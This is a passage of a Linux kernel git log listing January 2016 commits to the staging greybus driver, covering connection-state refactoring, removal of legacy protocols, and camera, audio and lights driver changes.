protocol version to use in the svc state struct instead of the connection struct. The generic concept of a connection version is going away in favour of bundle-class versions. Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 8 ++++---- drivers/staging/greybus/svc.h | 3 +++ 2 files changed, 7 insertions(+), 4 deletions(-) commit 47a2e6769e8194da5570eaed7fc43f5abec18809 Author: Johan Hovold Date: Tue Jan 19 12:51:18 2016 +0100 greybus: core: disable bundle connections on hot-unplug Disable bundle connections in core before calling driver disconnect in case the interface is already gone. This avoids unnecessary timeouts on hot-unplug when a driver does I/O in its disconnect callback. Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) commit 01547770e6fc283ce74944415fc069d287de082a Author: Johan Hovold Date: Tue Jan 19 12:51:17 2016 +0100 greybus: legacy: use protocol pointer to determine state Use the protocol pointer to determine the legacy connection state. This is needed to allow core disable connections when an interface has been hot-unplugged without the legacy protocols leaking its resources. Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/legacy.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 50dfb87865790bf8ef86a1c6898cde4e0df212fd Author: Johan Hovold Date: Tue Jan 19 12:51:16 2016 +0100 greybus: connection: move legacy-protocol handling to legacy driver Move legacy protocol and connection handling to the legacy driver. Rename the former global functions using a common legacy_ prefix. Note that all legacy protocols suffer from a connection initialisation race in that the protocol-specific initialisation, which includes allocation of protocol-specific state containers, can not happen until *after* the connection has been enabled. This is a major flaw in the original design that we can now finally address by converting the legacy protocol drivers into proper bundle (class) drivers. Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 107 ----------------------------------- drivers/staging/greybus/connection.h | 3 - drivers/staging/greybus/legacy.c | 106 +++++++++++++++++++++++++++++++++- drivers/staging/greybus/protocol.c | 2 + 4 files changed, 105 insertions(+), 113 deletions(-) commit 84427943d2da5f55d5cc83d83ba2a75c2079d1dd Author: Johan Hovold Date: Tue Jan 19 12:51:15 2016 +0100 greybus: svc: drop legacy-protocol dependency Drop dependency on the legacy protocol abstraction. Remove the now unused and last legacy-protocol flag GB_PROTOCOL_SKIP_VERSION along with the protocol-flag feature. Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 7 +------ drivers/staging/greybus/core.c | 9 --------- drivers/staging/greybus/protocol.h | 4 ---- drivers/staging/greybus/svc.c | 35 ++++------------------------------- 4 files changed, 5 insertions(+), 50 deletions(-) commit e217ae762bccb0ba0109887cefec3e20e5549a48 Author: Johan Hovold Date: Tue Jan 19 12:51:14 2016 +0100 greybus: control: drop legacy-protocol dependency Drop dependency on the legacy protocol abstraction. Instead implement the protocol-specific version request directly, and use the new interface for managing the control connection. Note that the version request is being removed from most protocols, but we need to keep the current request for the control protocol as-is indefinitely to maintain backwards compatibility (e.g. with the ES2/ES3 bootrom). Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/control.c | 72 +++++++++++++++++++---------- drivers/staging/greybus/control.h | 5 +- drivers/staging/greybus/core.c | 9 ---- drivers/staging/greybus/greybus_protocols.h | 11 +++++ 4 files changed, 62 insertions(+), 35 deletions(-) commit 6bd6e148930b6f6dff7a6d664b37ba76d6d2c75e Author: Johan Hovold Date: Tue Jan 19 12:51:13 2016 +0100 greybus: greybus_protocols: remove control-protocol version Remove control-protocol version from the exported protocol definitions as it is an implementation detail that makes no sense to export. Currently gbsim uses the kernel's control-protocol version definitions directly instead of reporting the version of the protocol it actually implements. Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/control.c | 5 +++++ drivers/staging/greybus/greybus_protocols.h | 4 ---- 2 files changed, 5 insertions(+), 4 deletions(-) commit bc3be1705c17e05c4d423a67a49a9f316d235bf4 Author: Johan Hovold Date: Tue Jan 19 12:51:12 2016 +0100 greybus: connection: remove skip-connected legacy protocol flags Remove the legacy protocol flags that were used to suppress the connected and disconnected events. Instead send the connected and disconnected event for all bundle connections and explicitly exclude static connections and control connections. Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 16 ++++++++++------ drivers/staging/greybus/control.c | 2 -- drivers/staging/greybus/protocol.h | 2 -- drivers/staging/greybus/svc.c | 4 +--- 4 files changed, 11 insertions(+), 13 deletions(-) commit 3e1b8c753d982bd4a63b0896a4ea68888f47502e Author: Johan Hovold Date: Tue Jan 19 12:51:11 2016 +0100 greybus: firmware: remove skip-disconnected flag Remove the legacy protocol flag that was used to suppress sending the control disconnected operation. Instead rely on the fact that no control operations will be sent by core to an interface that has been removed (e.g. after having received a new hotplug event after the bootrom has jumped to the new image). Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/firmware.c | 1 - 1 file changed, 1 deletion(-) commit 02a54dd18f1eb831f4bf02ac763a4e9d805e1ba3 Author: Johan Hovold Date: Tue Jan 19 12:51:10 2016 +0100 greybus: core: add defensive connection disable post disconnect Bundle drivers *must* disable their connections in the disconnect callback, but add a defensive test and warn about buggy drivers nonetheless. Note that bundle drivers would generally release their state containers in disconnect so a failure stop I/O could potentially lead to use-after-free bugs in any late operation completion callbacks. Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 7 +++++++ 1 file changed, 7 insertions(+) commit fa8369c130098da3276bafec425822aa74971905 Author: Johan Hovold Date: Tue Jan 19 12:51:09 2016 +0100 greybus: core: disable incoming operations pre disconnect Disable and flush incoming operations before calling driver disconnect. Bundle drivers are still responsible for disabling their connections in their disconnect callback. Note that specifically the legacy protocols must have incoming operations disabled when their connection_exit callback is called as that is where their state is deallocated. Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 4 ++++ 1 file changed, 4 insertions(+) commit beb6b7fede005ae351619b30a8940a04e797b9b2 Author: Johan Hovold Date: Tue Jan 19 12:51:08 2016 +0100 greybus: connection: add helper to disable incoming operations Add helper to disable and flush incoming operations. This is intended to be used by core to flush any incoming requests before calling driver disconnect, but could potentially later be exported for driver use as well. Note that we currently flush all incoming operation and allow the request handlers to run, but cancel any responses sent. This may need to be refined later. Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 54 ++++++++++++++++++++++++++++++++++++ drivers/staging/greybus/connection.h | 1 + 2 files changed, 55 insertions(+) commit 570dfa7c55a76258b03a2d93f9db12dacc2ad3c6 Author: Johan Hovold Date: Tue Jan 19 12:51:07 2016 +0100 greybus: connection: add unidirectional enabled state Add a new connection state ENABLED_TX in which only outgoing operations are allowed. This allows drivers to query the device during probe before allocating their state containers without having to worry about racing incoming requests. Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 19 ++++++++++++++++++- drivers/staging/greybus/connection.h | 7 ++++++- drivers/staging/greybus/operation.c | 7 +++++-- 3 files changed, 29 insertions(+), 4 deletions(-) commit 23268785b288c25ab5ee2ec523982546b5353880 Author: Johan Hovold Date: Tue Jan 19 12:51:06 2016 +0100 greybus: connection: make connection enable/disable thread safe Add connection mutex to protect connection enabling and disabling. This is needed to eventually allow drivers to manage the state of their connections during operation (i.e. post probe and pre disconnect). Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 20 ++++++++++++++++++-- drivers/staging/greybus/connection.h | 1 + 2 files changed, 19 insertions(+), 2 deletions(-) commit 192bee4b1a7adbf16d12721c77d6268c76428323 Author: Johan Hovold Date: Tue Jan 19 12:51:05 2016 +0100 greybus: connection: disable operations on enable errors Make sure to cancel all (incoming) operations when failing to enable a connection. Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 1 + 1 file changed, 1 insertion(+) commit 520c6eae991299720bcc0668326fb1e3a4bba3ba Author: Johan Hovold Date: Tue Jan 19 12:51:04 2016 +0100 greybus: connection: clean up operation cancellation on disable Move helper to cancel active operations above gb_connection_enable and simplify locking. Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 59 +++++++++++++++++------------------- 1 file changed, 28 insertions(+), 31 deletions(-) commit 81fba24969c0ca427a8cd3d31bea10749f15b737 Author: Johan Hovold Date: Tue Jan 19 12:51:03 2016 +0100 greybus: connection: always cancel operations on connection disable Always cancel all operations on connection disable and remove the now unused DESTROYING state. Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 17 ++++++++--------- drivers/staging/greybus/connection.h | 1 - 2 files changed, 8 insertions(+), 10 deletions(-) commit bfa9a5e2d07937a7620d55ff6eb55b480bc13100 Author: Johan Hovold Date: Tue Jan 19 12:51:02 2016 +0100 greybus: connection: add per-connection request handlers Add a connection request-handler field to struct gb_connection that is set when the connection is enabled. This is a step towards removing the legacy protocol abstraction from core, and will also be used to implement unidirectional connection states (e.g. only outgoing operations are allowed). Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 19 +++++++++++++++++-- drivers/staging/greybus/connection.h | 9 ++++++++- drivers/staging/greybus/operation.c | 8 ++------ 3 files changed, 27 insertions(+), 9 deletions(-) commit 1cbfab3804b185ce2744b5b8064d06ca19491e36 Author: Johan Hovold Date: Tue Jan 19 12:51:01 2016 +0100 greybus: connection: remove disable from destructor Remove implicit disable of legacy connections from the destructor. This is a step towards removing the legacy-protocol handling from core. Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 2 -- 1 file changed, 2 deletions(-) commit 6d3d95042e6b3bede0199bad0d08f71b4f7735fb Author: Johan Hovold Date: Tue Jan 19 12:51:00 2016 +0100 greybus: connection: rename legacy init and exit functions Rename legacy connection init and exit functions. This is a step towards removing the legacy-protocol handling from core. Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 10 +++++----- drivers/staging/greybus/connection.h | 7 +++++-- drivers/staging/greybus/control.c | 4 ++-- drivers/staging/greybus/legacy.c | 6 +++--- drivers/staging/greybus/svc.c | 4 ++-- 5 files changed, 17 insertions(+), 14 deletions(-) commit 5dda7e5a484295f24ecfcba6b64da6d37dccb912 Author: Johan Hovold Date: Tue Jan 19 12:50:59 2016 +0100 greybus: legacy: add legacy-protocol bundle driver Add the first Greybus bundle driver that will be used when transitioning from legacy Greybus protocols to bundle drivers. The legacy-protocol driver initially binds to all current bundle classes. In order to avoid having to update current module-loading scripts, keep this driver internal to greybus core at least until modalias support is added. Note that this prevents unloading any protocol drivers without first tearing down the host device due to a circular module dependency. Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 3 +- drivers/staging/greybus/bundle.c | 10 ---- drivers/staging/greybus/connection.c | 2 + drivers/staging/greybus/core.c | 10 ++++ drivers/staging/greybus/interface.c | 10 ---- drivers/staging/greybus/legacy.c | 95 ++++++++++++++++++++++++++++++++++++ drivers/staging/greybus/legacy.h | 16 ++++++ 7 files changed, 125 insertions(+), 21 deletions(-) commit 5b0327103ff0f5498af008cb7189770c1a33b67b Author: Gjorgji Rosikopulos Date: Sun Jan 17 19:52:21 2016 +0200 greybus: camera: Update configure stream based on new interface Interface has been changed. return code will not return number of configured streams but just error code. Number of streams is passed as pointer and if operation result is changed number of streams will be updated. Flags are also used for information regarding configure stream operation result. Signed-off-by: Gjorgji Rosikopulos Acked-by: Laurent Pinchart Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/camera.c | 30 ++++++++++++++++++++++-------- 1 file changed, 22 insertions(+), 8 deletions(-) commit 24ac4fa490bf105c202b843280eb67b2327c337f Author: Gjorgji Rosikopulos Date: Sun Jan 17 19:52:20 2016 +0200 greybus: camera: Add support for configure streams flag in gb interface Update gb interface and export flags needed for latest protocol version. Number of streams also can be changed based on operation result. Caller sets input flags, end fucntion return output flags Input flags supported: - GB_CAMERA_IN_FLAG_TEST - Need to be set when operation is not actually applied. Output flags supported: - GB_CAMERA_OUT_FLAG_ADJUSTED - This is result of the operation if this flag is set, result is adjusted and operation need to be repeat. Signed-off-by: Gjorgji Rosikopulos Acked-by: Laurent Pinchart Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gb-camera.h | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) commit b29906af20cf74bda2ec702626a26dc4501866ef Author: Michael Scott Date: Fri Jan 15 14:03:17 2016 -0800 greybus: firmware: replace colons with underscore in firmware file request Due to some issues with handling colons in Android (and possibly future exposure to other problems) we should remove the colons from the firmware file request. Replacing them with underscores. Specifically, we copy firmware into the Android build using a line similar to this: PRODUCT_COPY_FILES += \ source-repo/ara:00000126:00001000:00000001:00000001:02.tftf:system/etc/firmware/ara:00000126:00001000:00000001:00000001:02.tftf There is a colon delimiter between the source and destination in the PRODUCT_COPY_FILES format. The greybus naming logic breaks the parsing routine and generates an Android build break. Signed-off-by: Michael Scott Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/firmware.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit b55d9431d62d6ce762d4b50ec93bbb81dce783c6 Author: Greg Kroah-Hartman Date: Fri Jan 15 14:41:02 2016 -0800 greybus: Revert "camera: Fix backword compatibility in configure streams" This reverts commit 48cc91e52dba9abad4c9b56f911994c65071bfc4 as the caller should be changed instead. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/camera.c | 2 -- 1 file changed, 2 deletions(-) commit 11ca550c226b87c4bf457580a817e4529c7aca62 Author: Gjorgji Rosikopulos Date: Fri Jan 15 21:34:56 2016 +0200 greybus: camera: Fix backword compatibility in configure streams Configure streams ret code should be number of streams in gb operation exported to HOST camera. Until gb operation is migrated to new interface return number of streams in ret code. Signed-off-by: Gjorgji Rosikopulos Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/camera.c | 2 ++ 1 file changed, 2 insertions(+) commit 4068487ce3dba22bdc7bf34e7327b474494430b5 Author: Laurent Pinchart Date: Fri Jan 15 01:33:55 2016 +0200 greybus: camera: Return the result flags from the configure_streams response And return the response num_streams field through a pointer variable instead of using the return value of the function as both an error code and a positive number of streams, it makes the API more consistent. Signed-off-by: Laurent Pinchart Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/camera.c | 20 ++++++++++++-------- 1 file changed, 12 insertions(+), 8 deletions(-) commit 83ec628386aee5e14fe1be3e27e84124dfa7b165 Author: Vaibhav Agarwal Date: Wed Jan 13 14:07:56 2016 -0700 greybus: audio: Enable codec module detection on different slots driver_name associated with dev_name was hard coded earlier. This limits, audio codec module to be detected on Port#5 only. Now, driver_name is generated dynamically based on dev_name. This enables codec module detection on any 1x2 slot. Also, Update dev_id based on slot number, instead of bundle->id. bundle->id is not unique for multiple modules added, thus now using slot number for unique identification. Signed-off-by: Vaibhav Agarwal Signed-off-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_codec.c | 14 +++++++++----- 1 file changed, 9 insertions(+), 5 deletions(-) commit 25de3491f11064845a45606fa5828a200ecf8c53 Author: Vaibhav Agarwal Date: Wed Jan 13 14:07:55 2016 -0700 greybus: audio: Cleanup GB protocol connections in case of abrupt codec removal We need to clean up GB protocl connections, otherwise successive codec insertions fails repeatedly. NOTE: As per suggestion, since codec is already removed, one should not trigger any GB command. It'll cause a delay of atleast TIMEOUT value. HOwever, failing to cleanup GB protocol, causes successive module insertion to fail Signed-off-by: Vaibhav Agarwal Signed-off-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_codec.c | 58 +++++++++++++++++++++++++++++++++++ drivers/staging/greybus/audio_codec.h | 3 ++ 2 files changed, 61 insertions(+) commit 538ecb5a05049fcd23043ed5c97e42c379e5ccb0 Author: Vaibhav Agarwal Date: Wed Jan 13 14:07:54 2016 -0700 greybus: audio: cleanup unnecessary dev_err messages Replace unnecessary dev_err msg with dev_dbg. Same were added during development to trace topology parser progress. Signed-off-by: Vaibhav Agarwal Signed-off-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_topology.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit 17247da52ee8694429e089f452dd14f4dbda9f06 Author: Vaibhav Agarwal Date: Wed Jan 13 14:07:53 2016 -0700 greybus: audio: Report uevent on GB codec module insertion/removal GB-Audio-manager module is currently used to report uevent to above layer in response to any codec module inserted or removed. Signed-off-by: Vaibhav Agarwal Signed-off-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_codec.c | 50 +++++++++++++++++++++++++++++++++++ drivers/staging/greybus/audio_codec.h | 3 +++ 2 files changed, 53 insertions(+) commit b7f0088df7369bafc5029be7c0085961904086fc Author: Vaibhav Agarwal Date: Wed Jan 13 14:07:52 2016 -0700 greybus: audio: Add GB Audio class protocol functionality in GB codec DAI ops GB Audio class driver provides APIs to configure GB codec module. This patch adds relevant operations in DAI ops callback functions to configure codec module as per DAPM sequence triggered. Signed-off-by: Vaibhav Agarwal Signed-off-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_codec.c | 305 +++++++++++++++++++++++++++++++++- 1 file changed, 302 insertions(+), 3 deletions(-) commit 6339d2322c47f4b8ebabf9daf0130328ed72648b Author: Vaibhav Agarwal Date: Wed Jan 13 14:07:51 2016 -0700 greybus: audio: Add topology parser for GB codec For each GB codec module inserted, DAPM widgets, kcontrols, routes and DAIs can be fetched through greybus in a binary chunk and parsed locally to create & populate DAPM graph for the specific module. It is required by each codec module to populate a minimum set of kcontrols with fixed names to support basic audio usecase. To support advanced features of codec module, the same can be polpulated with existing topology parser. However, to use them for different usecase separate mechanism (may be via MSP) is required to inform userspace about their configuration value & enable/disable sequence. ToDos: Currently, support for enumerated kcontrol/dapm control is hardcoded. Need to add complete logic within the parser. Signed-off-by: Vaibhav Agarwal Signed-off-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 2 +- drivers/staging/greybus/audio_codec.c | 254 ++----- drivers/staging/greybus/audio_codec.h | 31 + drivers/staging/greybus/audio_topology.c | 1114 ++++++++++++++++++++++++++++++ 4 files changed, 1191 insertions(+), 210 deletions(-) commit 2a70e49f9183d72287e84ac4d6a4080e3f2a6475 Author: Vaibhav Agarwal Date: Wed Jan 13 14:07:50 2016 -0700 greybus: audio: Use greybus connection device for codec registration Use GB Audio mgmt, data protocol ids to register codec module with GB protocol. And in response to mgmt->connection_init(), register GB codec driver with ASoC. Now, using msm8994 machine to register DAI link dynamically on codec insertion. ToDos: - snd_soc_register_codec() uses driver->name to identify device id. However, for GB device, .driver{} is not yet populated by GB core. Thus, defining dummy structure within codec driver. This should come from GB core itself. Even existing .driver{} may cause problem in case of multiple modules inserted or inserted at a different slot. - Fix logic for gbcodec->dais & gbcodec->dailinks. Current implementation contains some hard coded data with assumption of count=1. - Evaluate definition of 'gbaudio_dailink.be_id' in case of multiple DAI links. Signed-off-by: Vaibhav Agarwal Signed-off-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_codec.c | 426 +++++++++++++++++++++++++++++++--- drivers/staging/greybus/audio_codec.h | 41 +++- 2 files changed, 432 insertions(+), 35 deletions(-) commit 86a685dd453547431794a5c332a9ed742916c9d4 Author: Greg Kroah-Hartman Date: Wed Jan 13 16:18:36 2016 -0800 greybus: Makefile: fix up build test for gb-audio-codec.ko We really only want to build the module if the config is set, not all the time like the current code does. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 1 - 1 file changed, 1 deletion(-) commit 7885342cc2727e2e9acae1597ebc88bedfea8464 Author: Vaibhav Agarwal Date: Wed Jan 13 14:07:49 2016 -0700 greybus: audio: Build audio module conditionally Added CONFIG_XXX flag check before compiling audio module. Once we add dynamic DAI link registration from audio driver, this check wil be required to avoid compilation failures with other kernel revisions. Also, renamed header file to better align with .c file name. Signed-off-by: Vaibhav Agarwal Signed-off-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 3 + drivers/staging/greybus/audio.h | 149 ---------------------------------- drivers/staging/greybus/audio_codec.c | 2 +- drivers/staging/greybus/audio_codec.h | 146 +++++++++++++++++++++++++++++++++ 4 files changed, 150 insertions(+), 150 deletions(-) commit 8db00736d365b75d6af5dfd4a2673a1453fff4b7 Author: Svetlin Ankov Date: Wed Jan 13 14:07:48 2016 -0700 greybus: audio: Add Audio Manager This is a simple module that keeps a list of connected GB audio modules. Whenever a device is attached, an appropriate uevent is sent to userspace: UDEV [4941.803215] add /kernel/gb_audio_manager/0 (gb_audio_manager) ACTION=add CPORT=99 DEVICES=0x10 DEVPATH=/kernel/gb_audio_manager/0 NAME=naim PID=64 SEQNUM=1828 SLOT=2 SUBSYSTEM=gb_audio_manager USEC_INITIALIZED=802416 VID=128 And whenever removed: UDEV [4941.836588] remove /kernel/gb_audio_manager/0 (gb_audio_manager) ACTION=remove DEVPATH=/kernel/gb_audio_manager/0 SEQNUM=1833 SUBSYSTEM=gb_audio_manager USEC_INITIALIZED=835681 The API consists of functions for adding, removing and inspecting added device module descriptions (struct gb_audio_module): int gb_audio_manager_add(struct gb_audio_module_descriptor *desc); int gb_audio_manager_remove(int id); int gb_audio_manager_remove_all(void); struct gb_audio_module* gb_audio_manager_get_module(int id); void gb_audio_manager_put_module(struct gb_audio_module *module); int gb_audio_manager_dump_module(int id); void gb_audio_manager_dump_all(void); Devices can be inspected through sysfs in /sys/kernel/gb_audio_manager/{id}/* If GB_AUDIO_MANAGER_SYSFS is exported as 'true', managing devices can be done via the SYSFS as well. For instance: echo name=naim slot=2 vid=128 pid=64 cport=99 devices=0x10 > /sys/kernel/gb_audio_manager/add echo all > /sys/kernel/gb_audio_manager/dump echo 2 > /sys/kernel/gb_audio_manager/dump echo 2 > /sys/kernel/gb_audio_manager/remove Signed-off-by: Svetlin Ankov Signed-off-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 9 + drivers/staging/greybus/audio_manager.c | 184 ++++++++++++++++++ drivers/staging/greybus/audio_manager.h | 82 ++++++++ drivers/staging/greybus/audio_manager_module.c | 240 ++++++++++++++++++++++++ drivers/staging/greybus/audio_manager_private.h | 28 +++ drivers/staging/greybus/audio_manager_sysfs.c | 101 ++++++++++ 6 files changed, 644 insertions(+) commit 4dbf5056405ad3c0ead370f0f3254c17b81b1e04 Author: Mark Greer Date: Wed Jan 13 14:07:47 2016 -0700 greybus: audio: Add direct audio streaming control for APBridgeA The latest audio architecture does not stream audio data over the USB link between the AP and APBridgeA. Instead, audio data is streamed directly over the I2S link between the two. To support the Greybus audio driver in setting up the I2S port and controling packeting/depacketizing of audio data to/from Greybus audio messages, define a set of commands and their parameters. These commands and parameters will be placed into a request and sent over the USB control channel to APBridgeA. A corresponding driver on APBridgeA will receive and process the requests. Signed-off-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 2 + drivers/staging/greybus/audio.h | 23 ++++ drivers/staging/greybus/audio_apbridgea.c | 156 ++++++++++++++++++++++++++++ drivers/staging/greybus/audio_apbridgea.h | 149 ++++++++++++++++++++++++++ drivers/staging/greybus/greybus_protocols.h | 3 + 5 files changed, 333 insertions(+) commit 184992e305f1de3a3d5fa446da3a2bc76be7c54a Author: Mark Greer Date: Wed Jan 13 14:07:46 2016 -0700 greybus: audio: Add Greybus Audio Device Class Protocol helper routines Add helper routines to make communicating with audio modules easier. Signed-off-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 2 + drivers/staging/greybus/audio.h | 40 ++++++ drivers/staging/greybus/audio_gb.c | 267 +++++++++++++++++++++++++++++++++++++ 3 files changed, 309 insertions(+) commit ba4144afdebf96a3c27c9a03e0c671cf85cc55e9 Author: Mark Greer Date: Wed Jan 13 14:07:45 2016 -0700 greybus: audio: Add Audio Device Class Protocol definitions Add the macros and structures for the Greybus Audio Device Class Protocol. Signed-off-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 367 ++++++++++++++++++++++++++++ 1 file changed, 367 insertions(+) commit fd8f9e12e2a3bb945959cd294768b265fb97480b Author: Mark Greer Date: Wed Jan 13 14:07:44 2016 -0700 greybus: audio: Use underscore in file name For consistency with most other files in the Greybus repository, change 'audio-codec.c' to use an underscore instead of a hyphen in its name. Signed-off-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 2 +- drivers/staging/greybus/audio-codec.c | 315 ---------------------------------- drivers/staging/greybus/audio_codec.c | 315 ++++++++++++++++++++++++++++++++++ 3 files changed, 316 insertions(+), 316 deletions(-) commit aa187d33129ba102756600aa27f6e7992a6c814a Author: Vaibhav Hiremath Date: Thu Jan 14 02:06:47 2016 +0530 greybus: arche-apb-ctrl: Enable the clocks after regulator enable It makes more sense to enable the clock after power is enabled to the device, so move clock enable code after regulator_enable and setting up BOOT_RET pin. Signed-off-by: Vaibhav Hiremath Tested-by: Michael Scott Reviewed-by: Laurent Pinchart Tested-by: Laurent Pinchart Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-apb-ctrl.c | 31 +++++++++++++++++-------------- 1 file changed, 17 insertions(+), 14 deletions(-) commit 3a8dba4e57d11965fa8f649753dc1507dd8331eb Author: Gjorgji Rosikopulos Date: Wed Jan 13 21:52:38 2016 +0200 greybus: camera: HACK: Register gb camera to the HOST camera This change implements gb camera interface and register gb camera to the HOST driver. This implementation need to be reworked after the demo. Tested with db3 with two camera modules. Signed-off-by: Gjorgji Rosikopulos Acked-by: Laurent Pinchart Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/camera.c | 121 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 121 insertions(+) commit fc0ddf5adbc2636365b1f8c3c21cd3adf0a8c252 Author: Gjorgji Rosikopulos Date: Wed Jan 13 21:52:37 2016 +0200 greybus: camera: HACK: Export GB camera interface Gb camera need to communicate with HOST driver. as temporary solution there will be shared header between gb camera HOST camera. Both need to be in sync since gb drivers are compiled out of the kernel tree. Gb camera register camera operation functions when is created. Currently unregister is not supported. Signed-off-by: Gjorgji Rosikopulos Acked-by: Laurent Pinchart Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gb-camera.h | 37 +++++++++++++++++++++++++++++++++++++ 1 file changed, 37 insertions(+) commit 9c06c6a2b9ec4cfa78a4cf5ab123bfca0285e083 Author: Rui Miguel Silva Date: Tue Jan 12 14:35:49 2016 +0000 greybus: lights: remove sync operation and work queue In kernel v4.5 there is a change in LED api, which remove the need for individual work queue and rename the set_sync operation to set_blocking. This patch add the handling of this case and avoid compilation failure for this kernel versions. Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/light.c | 23 ++++++++++++++++++++++- 1 file changed, 22 insertions(+), 1 deletion(-) commit b827e1137ca9b495f10f3215ed6dd6ff738f0c81 Author: Rui Miguel Silva Date: Tue Jan 12 14:35:48 2016 +0000 greybus: kernel_ver: add handle for lights in 4.5 In v4.5 the LED API is changed related to the set brightness operations, set_sync is removed and the workqueue handling is now done by leds core, so no need for individual drivers to have one. This will be done by removing the SET_SYNC macro and add a new SET_BLOCKING. Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/kernel_ver.h | 9 +++++++++ 1 file changed, 9 insertions(+) commit de141314498b3e52cec7a0e5100e4dd278bde4c7 Author: Greg Kroah-Hartman Date: Mon Jan 11 19:24:54 2016 -0800 greybus: uevent: add GREYBUS_ID to uevent This adds the GREYBUS_ID environment variable to all interface uevents to let userspace know the vendor/product id of the module interface that has been added or removed from the system. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Viresh Kumar drivers/staging/greybus/core.c | 4 ++++ 1 file changed, 4 insertions(+) commit 14006ab2f53df868f3835ab0706b5ef94c90708f Author: Rui Miguel Silva Date: Wed Jan 13 14:39:55 2016 +0000 greybus: makefile: add requirement for CONFIG_INPUT To support key events coming from the svc (ara key) it is needed to add the input core as an required config option. Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 3ea6a81568f5902ff59ada61b073d8d4a6df5fbf Author: Johan Hovold Date: Fri Jan 8 20:13:46 2016 +0100 greybus: connection: refactor connection enable and disable Refactor connection enable and disable. This is a step towards removing the legacy-protocol handling from core. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 69 +++++++++++++++++++++++------------- 1 file changed, 45 insertions(+), 24 deletions(-) commit 4d0bee11253ba98c4a9c9ebb6df19c3185fe1fd8 Author: Johan 